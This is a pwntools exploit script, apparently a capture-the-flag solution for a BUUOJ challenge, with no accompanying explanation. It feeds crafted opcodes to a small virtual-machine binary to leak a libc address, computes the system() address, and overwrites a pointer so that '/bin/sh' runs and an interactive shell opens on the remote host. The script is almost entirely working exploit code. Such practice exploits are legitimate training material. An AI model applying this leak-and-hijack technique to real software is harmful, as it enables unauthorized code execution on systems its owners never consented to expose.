1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') local_file = './pwn' local_libc = '/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6' remote_libc = '/home/yfy/pwn_tools/buu_libc/16-64/libc-2.23.so' select = 1 if select == 0: p = process(local_file) libc = ELF(local_libc) elif select == 1: p = remote('node5.buuoj.cn',26749) libc = ELF(remote_libc) else: p = gdb.debug(local_file) libc = ELF(local_libc) elf = ELF(local_file)
s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print(p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")
def opcode(desk,high,middle,small): op = desk<<24 op+= high <<16 op+= middle<<8 op+= small return(str(op))
sla('PCPC: ','0') sla('SP: ','1') sla('CODE SIZE: ',str(21)) rl('CODE: ')
sl(opcode(0x10,0,0,56)) sl(opcode(0x80,3,1,0)) sl(opcode(0x30,7,0,3)) sl(opcode(0x10,0,0,55)) sl(opcode(0x80,3,1,0)) sl(opcode(0x30,11,0,3))
sl(opcode(0x10,0,0,1)) sl(opcode(0x10,1,0,12)) sl(opcode(0xc0,2,0,1)) sl(opcode(0x10,0,0,0x90)) sl(opcode(0x70,10,0,2)) sl(opcode(0x70,12,7,10))
sl(opcode(0x10,0,0,8)) sl(opcode(0x10,1,0,0)) sl(opcode(0x80,2,1,0)) sl(opcode(0x40,12,0,2)) sl(opcode(0x70,5,10,12)) sl(opcode(0x10,0,0,7)) sl(opcode(0x80,2,1,0)) sl(opcode(0x40,11,0,2)) sl(opcode(0xff,0,0,0))
rl(b'R7:') low=int(p.recv(9),16) lg('low',low)
rl(b'R11:') high=int(p.recv(5),16) lg('high',high)
stdin=(high<<32)+low libc_base=stdin-libc.sym['stdin']
system=libc_base+libc.sym['system'] lg('system',system)
sl(b'/bin/sh\x00'+p64(system))
p.interactive()
|